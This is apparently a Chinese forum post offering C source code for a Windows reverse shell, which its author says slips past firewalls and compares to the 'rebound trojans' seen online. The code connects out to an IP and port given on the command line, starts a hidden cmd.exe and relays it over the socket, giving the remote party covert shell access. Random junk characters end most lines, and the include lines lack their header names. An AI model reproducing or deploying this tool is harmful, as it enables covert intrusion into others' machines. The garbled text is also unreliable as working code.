这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '$%l7
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/* ============================== o:Sa,
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Rebound port in Windows NT HRfYl,S,
By wind,2006/7 2a Q[zK
===============================*/ 8c^TT&
#include rCdu0 gYT
#include b2&0Hx
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#pragma comment(lib,"wsock32.lib") ;@Y;g(bw:
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void OutputShell(); 1NA.nw.
SOCKET sClient; mSh[}%swj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PBTnIU
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void main(int argc,char **argv) P:MT*ra*,
{ t=W}SH
WSADATA stWsaData; JO6)-U$7UG
int nRet; pJ'"j 6Q
SOCKADDR_IN stSaiClient,stSaiServer; U>}w2bZ*
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if(argc != 3) [~c|mOk
{ fN1-d&T
printf("Useage:\n\rRebound DestIP DestPort\n"); dk4CpN
return; x\G'kEd
} o9yJf#-En
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WSAStartup(MAKEWORD(2,2),&stWsaData); z/2//mM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3eAX.z`D
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stSaiClient.sin_family = AF_INET; mLLDE;7|}
stSaiClient.sin_port = htons(0); ,w:U#r~s"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); scz&h#0V
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O23k:=Av
{ =wV<hg)C
printf("Bind Socket Failed!\n"); m'=Crei
return; e)?
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} =|y9UlsD
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stSaiServer.sin_family = AF_INET; h_,i&d@(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j@3Q;F0ba
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bI9~jWgGp
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~/iKh11
{ 9`X\6s
printf("Connect Error!"); hT&Y#fh
return; >rmqBDKaQ
} ZdWm:(nkU
OutputShell(); ~t~k2^)|"
} Q1I6$8:7
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void OutputShell() :zke %Yx
{ ,77d(bR<
char szBuff[1024]; CXx*_@}MU
SECURITY_ATTRIBUTES stSecurityAttributes; A>;bHf@
OSVERSIONINFO stOsversionInfo; :g=qz~2Xk
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !6O(-S2A
STARTUPINFO stStartupInfo; .glA
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char *szShell; ;)z:fToh
PROCESS_INFORMATION stProcessInformation; bSi%2Onj
unsigned long lBytesRead; VSI9U3t3w
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Eib5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bP$dU,@p~
stSecurityAttributes.lpSecurityDescriptor = 0; e>7>j@(K]
stSecurityAttributes.bInheritHandle = TRUE; SaAFz&WRl
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s %``H`
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !v_|zoCEj
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ru!iR#s)!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g<;q.ZylT
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; */^q{PsN
stStartupInfo.wShowWindow = SW_HIDE; Sc1 8dC0
stStartupInfo.hStdInput = hReadPipe; 8hz^%vm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G kl71VX
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GetVersionEx(&stOsversionInfo); GxI!{oi2
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switch(stOsversionInfo.dwPlatformId) S.94edQ
{ K6/Q}W
case 1: CR`Q#Yi
szShell = "command.com"; RYQR(v
break; )@l%
default: tGh~!|P
szShell = "cmd.exe"; kYqU9cB~
break; 2Aazy'/
} ~Z?TFg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^Y>F|;M#
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send(sClient,szMsg,77,0); m '|bGV
while(1) oWim}Er=
{ 0KcyLAJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iohop(LZ
if(lBytesRead) 7uS~MW
{ ?GoR^p #p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RXpw!
send(sClient,szBuff,lBytesRead,0); rb2S7k0{
} Jr
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else D3Ig>gKo?m
{ J6s`'gFns
lBytesRead=recv(sClient,szBuff,1024,0); qo90t{|c
if(lBytesRead<=0) break; :0j?oY~e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hk(ZM#Bh
} &Fzb6/
} B:;pvW]
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return; |mdVdD~go
}